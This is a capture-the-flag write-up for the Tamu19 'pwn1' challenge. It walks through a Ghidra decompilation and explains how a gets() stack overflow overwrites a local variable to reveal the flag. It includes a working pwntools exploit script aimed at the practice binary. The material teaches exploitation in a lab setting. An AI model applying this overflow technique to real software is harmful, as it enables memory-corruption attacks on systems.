Tamu19 CTF Writeup - Pwn1

Exploring the first Pwn challenge from Tamu19 CTF.

Tamu19 CTF Writeup - Pwn1

The challenge binary is available with a comprehensive writeup at aguyinatuxedos fantastic repository.

Initial binary checks reveal the following:

┌──(inspired㉿working)-[/opt/nightmare/tamu19_pwn1]
└─$ pwn checksec pwn1 
[*] '/opt/nightmare/tamu19_pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
┌──(inspired㉿working)-[/opt/nightmare/tamu19_pwn1]
└─$ file pwn1 
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped

Running the binary, it appears we're asked for a name but we'll have to do some digging to workout how to pass this test.

┌──(inspired㉿working)-[/opt/nightmare/tamu19_pwn1]
└─$ ./pwn1 
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
test
I don't know that! Auuuuuuuugh!

Let's open in in Ghidra and examine the decompiled code. The main function is available to view easily as the binary is not stripped.

undefined4 main(void)

{
  int iVar1;
  char local_43 [43];
  int local_18;
  undefined4 local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setvbuf(stdout,(char *)0x2,0,0);
  local_14 = 2;
  local_18 = 0;
  puts(
      "Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
      );
  puts("What... is your name?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is your quest?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is my secret?");
  gets(local_43);
  if (local_18 == -0x215eef38) {
    print_flag();
  }
  else {
    puts("I don\'t know that! Auuuuuuuugh!");
  }
  return 0;
}

So we can immediately see that there is a comparison on our first input using strcmp to check whether our input, which is read in via stdin into local_43, is equal to Sir Lancelot of Camelot.

  puts("What... is your name?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }

This is immediately followed by another question, which has a similar way of answering. It simply checks if the next response is equal to To seek the Holy Grail. Monty Python, anyone?!

 puts("What... is your quest?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
}

Finally, it asks for a secret, where this is no longer as simple. It takes in the value of local_43 again but this time with gets, rather than fgets. The issue here is that fgets allows for the input to be tied down to a specific format, as we saw above, from stdin and with a max size allocated of 0x2b. With gets alone, it does not check for a buffer length, meaning if you overwrite the size of the input variable then you can overflow into other areas of the code. This is how we will exploit the comparison.

After taking in local_43, the code checks if local_18 is equal to 0xdea110c8, as seen in the assembly.

gets Call and String Comparison

We can see from the start of the variable definitions that our local_43 variable starts at -0x43 and the local_18 variable starts at -0x18 on the stack. This means there is a difference 0x2b between them. Therefore, if we fill up our buffer with 0x2b * junk then we should be able to continue writing into the next variable on the stack, which will be 0x18.

Let's chuck together a script with Pwntools that answers the questions and sends what we think the exploit code will be, based on what we have just deduced from the above.

from pwn import *

p = process('./pwn1')

exploit = b'A' * 0x2b 
exploit += p32(0xdea110c8)
exploit += b'\n'

print(p.recvline())
print(p.recvline())
p.send('Sir Lancelot of Camelot\n')

print(p.recvline())
p.send('To seek the Holy Grail.\n')

print(p.recvline())
p.send(exploit)

#Print the flags
print(p.recvline())
print(p.recvline())

Running this code successfully prints the flag file, indicating that we've overflown into the target binary just by examining the assembly code within Ghidra. Nice!

Obtaining the Flag

References: